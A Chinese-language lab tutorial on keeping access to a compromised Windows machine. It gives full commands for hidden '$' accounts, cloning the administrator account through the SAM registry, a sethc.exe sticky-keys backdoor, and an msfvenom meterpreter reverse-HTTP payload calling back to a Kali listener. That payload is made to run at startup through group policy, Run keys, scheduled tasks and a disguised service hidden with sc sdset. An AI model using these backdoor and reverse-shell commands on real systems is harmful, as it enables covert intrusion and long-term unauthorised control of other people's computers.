一、隐藏用户维持
1、$符号隐藏用户
在用户名后添加$符号
当前有四个用户
net user hack$ 123@abc /add
(我命令执行发生错误,所以手动添加了一个)
可以看到命令行查不到新添加的用户(test是我删了的)
2、注册表克隆用户隐藏
regedit进入注册表
SAM两个权限都给一下
找到本机用户及对应文件夹
导出hack$用户
将administrator文件夹中F的值复制到hack$对应文件夹中的F
导出hack$对应的文件夹注册表
net user hack$ /del
(删除hack$用户,我的还是不对,所以手动删除)
双击前边保存的1,2注册表
可以在注册表中看到有添加
但在其他地方一般办法都看不到
二、shift后门维持
如果登录按5次shift出现的粘贴键是当前用户,如果没有登录则是最高权限
1、原理:把cmd.exe这个程序替换掉Sethc.exe,之后连按五次就会执行cmd.exe程序
2、制作(需要在管理员权限下)
首先更改文件权限
takeown /f c:\windows\system32\*.* /a /r /d y
强制将当前目录下的所有文件夹、子文件夹下的所有者改为管理员组
cacls c:\windows\system32\*.* /T /E /G administrators:F
在当前目录下的文件、子文件夹的NTFS权限上添加管理员组完全控制权限
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
制作后门
实际效果
三、启动项维持
1、组策略维持
原理:在组策略中添加payload,利用组策略的自启动策略来加载payload文件
运行gpedit.msc打开本地组策略编辑器,找到脚本并启动
kali:192.168.52.133
windows:192.168.52.132
msfvenom -p windows/x64/meterpreter/reverse_http -e x86/shikata_ga_nai -i 15 -b ‘\x00’ lhost=192.168.52.133 lport=3333 -f psh -o shell.ps1
此处利用python传送到客户端文件,一般可能需要用到蚁剑等工具
python -m SimpleHTTPServer 8000
@echo off
powershell.exe w hidden ExecutionPolicy Bypass NoExit File
C:\Users\Administrator\Desktop\keep\shell.ps1
exit
创建一个bat脚本
添加到启动项
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 192.168.52.133
set LPORT 3333
run
kali运行msf进行监听,重启客户端查看是否连接
2、启动文件夹维持
找到启动文件夹,将需要启动的文件放入就好
3、注册表维持
在运行框中输入 “regedit ”,点击确定或者直接按键盘上的回车键,打开组策略
Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册表中,这样Payload就会在计算机启动过程被执行
这些都可以
# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
在此添加之前的组策略维持用到的就行
将之前的1.bat添加到注册表中
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t
REG_SZ /d "C:\Users\Administrator\Desktop\keep\1.bat"
等开机登录进去之后即可连接kali的msf
四、计划任务维持
1、schtasks
1、在每个任意用户登录中以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System
2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30
3、在系统启动的时候以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System
4、计划任务以 System 权限每10分钟运行一次
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system
例如:利用前边的shell.ps1文件创建
schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
w hidden ExecutionPolicy Bypass NoExit File
C:\Users\Administrator\Desktop\keep\shell.ps1" /sc onstart /ru System
然后利用kali的msf查看连接情况
2、at
at 1:00AM /Every:Saturday 1.bat 在每个周六1:00点,电脑定时启动1,bat批处理文件。
at 1 /delete 删除任务
例如:利用前边的1.bat文件创建
at 00:00 C:\Users\Administrator\Desktop\keep\1.bat
然后利用kali的msf查看连接情况
3、powershell
五、创建服务维持
命令:sc
创建一个服务让他启动ps1脚本(注意空格)
sc create shell start= auto binPath= "cmd.exe /k powershell.exe w hidden ExecutionPolicy
Bypass NoExit File C:\Users\Administrator\Desktop\keep\shell.ps1" obj= Localsystem
对该服务进行伪装
sc description "shell" "绝对安全的shell哈哈哈"
设置服务的自动启动
sc config "shell" start= auto
然后启动该服务
net start "服务名"
隐藏服务
上边创建服务的方法隐藏性太弱,直接在服务里就能看到
可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务。
sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用以下的命令进行恢复
sc sdset shell "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
"